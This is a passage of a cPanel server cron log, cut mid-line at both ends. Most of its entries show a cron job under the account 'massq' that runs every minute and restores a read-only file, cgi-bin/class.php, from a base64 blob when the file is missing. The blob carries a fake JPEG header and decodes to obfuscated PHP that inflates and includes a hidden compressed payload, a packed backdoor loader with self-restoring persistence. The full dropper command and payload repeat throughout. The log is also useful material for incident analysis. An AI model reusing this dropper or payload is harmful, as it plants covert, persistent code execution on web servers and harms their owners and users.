"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:08:01 server CROND[26188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:09:01 server CROND[26241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:09:01 server CROND[26242]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 05:10:01 server CROND[26297]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:10:01 server CROND[26298]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:10:01 server CROND[26299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:10:01 server CROND[26300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:11:01 server CROND[26409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:12:01 server CROND[26460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 05:12:01 server CROND[26461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:13:01 server CROND[26599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:14:01 server CROND[26689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:15:01 server CROND[26733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:15:01 server CROND[26734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:15:01 server CROND[26735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:16:01 server CROND[26844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:17:01 server CROND[26889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:18:01 server CROND[27037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:19:01 server CROND[27089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:20:01 server CROND[27143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:20:01 server CROND[27144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:20:01 server CROND[27145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY